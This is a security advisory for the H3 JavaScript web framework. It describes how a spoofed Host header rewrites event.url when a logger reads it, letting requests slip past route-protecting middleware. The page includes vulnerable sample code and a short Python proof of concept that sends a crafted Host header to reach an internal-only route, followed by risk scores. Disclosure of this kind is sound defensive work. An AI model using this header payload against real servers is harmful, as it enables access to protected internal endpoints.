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GHSA-3vj8-jmxq-cgj5

HighCVSS 7.4 / 10
Published Mar 18, 2026·Last modified Mar 20, 2026
Affected Components(0)

No affected components available

Description

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");

  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }

  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next() 
})
app.use(logger);
app.use("/internal/run", internalOnly);


app.get("/internal/run", () => {
  return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

 this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

Risk Scores
Base Score
7.4

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
6.8

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.39%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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